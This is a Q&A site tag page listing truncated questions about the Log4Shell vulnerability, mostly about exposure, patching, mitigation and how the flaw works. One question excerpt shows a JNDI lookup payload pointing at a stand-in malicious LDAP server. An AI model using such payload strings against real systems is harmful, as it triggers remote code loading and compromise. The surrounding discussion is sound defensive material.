Questions tagged [log4shell]

Questions about CVE-2021-44228, a vulnerability in the Log4j library allowing remote code execution.

Filter by
Sorted by
Tagged with
0 votes
1 answer
124 views

What to do if my java app is still vulnerable to log4shell after upgrading to the latest log4J?

My Java 11 application is being upgraded to fix the log4shell flaw. So first Spring Boot has been upgraded to the latest version. As my project uses Maven to manage its dependencies, I set the log4j ...
user avatar
1 vote
2 answers
1k views

Is log4j-over-slf4j vulnerable to log4shell?

On my server, I looked at all files containing log4j, and I only have an log4j-over-slf4j jar file. SLF4J's page about log4shell states the following: If you are using log4j-over-slf4j.jar in ...
user avatar
0 votes
3 answers
164 views

successfull log4j exploitation, or just normal traffic?

First, thanks in advance and sorry if I'm asking some really silly thing, this is not my expertise :) I have a webserver just for testing my things. Last week I checked if it was vulnerable to log4j ...
user avatar
  • 1
1 vote
0 answers
47 views

Is removing the `${jndi:` string a mitigation of the log4j security issue? [duplicate]

Recently, the log4j issue got a lot of attention. I run a chatbot web app that is not based on the JAVA stack. However, there is a backend component that analyzes the chatbot user input which is based ...
user avatar
1 vote
0 answers
42 views

Should vendors add their CPEs in the log4j NIST entry?

Software that has packaged a vulnerable version of the log4j library is considered vulnerable to CVE-2021-44228 or "log4shell". When I look at the NIST definition I can see that the ...
user avatar
  • 181
0 votes
0 answers
586 views

Is my MySQL Server (run by php/apache) affected by the Log4j vulnerability?

From an article for the new Log4j vulnerability, it reads here: A researcher working for Chinese tech firm Alibaba discovered the bug and privately informed the Apache Software Foundation, an all-...
user avatar
1 vote
1 answer
131 views

Log4shell - Should affected servers be "nuked from the orbit"?

Considering how log4shell seems trivial to exploit and the important control level it gives to an attacker, should we wipe everything affected and start over? For example, we find out that a publicly ...
user avatar
  • 151
0 votes
2 answers
2k views

Is Xcode vulnerable due to log4j?

After the log4j vulnerability was announced, I scanned my Mac to see if any applications were using it. find / -name "*log4j*" 2>/dev/null Here's the output that indicates that Xcode has ...
user avatar
  • 101
0 votes
0 answers
49 views

Atomikos dependency and CVE-2021-44228

In regard to the recent CVE-2021-44228 vulnerability, I've noticed that even the newest version of atomikos-util 5.0.8 is using a vulnerable version of Log4J 2.2 - as an internal dependency.. I was ...
user avatar
  • 243
0 votes
1 answer
118 views

Can Log4Shell be exploited without access to external networks

As I first read about Log4Shell my first thought was "ok, this is severe but professionally hosted systems should not be at risk" as most internal systems should be hidden behind a reverse ...
user avatar
  • 111
1 vote
0 answers
76 views

Clarification on log4j Service Requirements [duplicate]

We're currently trying to prioritize our mitigations for CVE-2021-44228. The obvious priority is to deal with any Internet facing java (apache?) applications that use a vulnerable log4j library and\or ...
user avatar
6 votes
3 answers
542 views

At which OS privilege level log4j usually runs?

Considering that a RCE vulnerability has been recently found in the log4j library, a library used in a lot more applications than I thought. The following question comes to my mind. If an attacker ...
user avatar
  • 151
0 votes
1 answer
103 views

Does Log4Shell ("CVE-2021-44228 ") affect K8S/Containers and function-as-a-service (FaaS)?

Does Log4Shell ("CVE-2021-44228") affect K8S/Containers and/or function-as-a-service (FaaS) running image with affected log4j? I would like to understand if this vulnerability affects ...
user avatar
1 vote
2 answers
490 views

Absence of JndiLookup class on vulnerable version number... Log4Shell safe?

If a version of log4j2 is present on a server (say, 2.5 or 2.7) but the JndiLookup class does not exist in any jars, does this mean this specific implementation of log4j2 is not vulnerable to ...
user avatar
  • 121
70 votes
1 answer
9k views

How does the log4shell vulnerability work?

Log4shell is making the news. A vulnerability in the widely used logging tool Log4J is putting many servers and even some desktop applications at risk of remote code execution. How does this ...
user avatar
  • 64.2k
34 votes
3 answers
18k views

Am I protected from Log4j vulnerability if I run Java 8u121 or newer?

According to the notes for CVE-2021-44228 at mitre.org: Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against remote code execution by defaulting "...
user avatar
3 votes
1 answer
339 views

How to find out I an application is vulnerable for log4j?

I am using a Mac for my daily work, But I do not know if I am vulnerable for the log4j exploit. Is there a way to find out? Is there a way to find all the applications that are using java? How to ...
user avatar
  • 251
3 votes
1 answer
502 views

Can one protect from the Log4j exp by sanitizing the parameters?

A zero-day exploit affecting the popular Apache Log4j utility (CVE-2021-44228) was made public on December 9, 2021 that results in remote code execution (RCE). (From an email CloudFlare sent to users) ...
user avatar
  • 271
3 votes
1 answer
1k views

How to validate if Log4Shell patch is applied?

Is it enough to upgrade log4j-core and log4j-api to 2.15.0 but leave log4j-slf4j-impl, which is a binding library, to 2.14.1, given that mvn dependency:tree suggests that log4j-slf4j-impl:2.14.1 is ...
user avatar
  • 133
4 votes
1 answer
335 views

Does the log4j RCE vulnerability run even if the message is just a part of the logged string?

Does the JNDI URL need to be the full string being logged or could it be just a part of a logged string? For example, if the code contains: paramGivenFromOutside = "${jndi:ldap://maliciousServer:...
user avatar
86 votes
3 answers
36k views

Does CVE-2021-44228 impact Log4j ports?

Log4j has been ported to other languages, such as log4perl, log4php, log4net, and log4r. Are these ports vulnerable to CVE-2021-44228 as well? I believe that they aren't because the vulnerability uses ...
user avatar
  • 2,422
12 votes
2 answers
679 views

How can the Log4Shell exploit affect an end user?

I am not an expert in security items and exploits - so there I would like to know how this recent Log4Shell exploit can affect me as an end user. Reading the news, the exploit can affect services like ...
user avatar
  • 251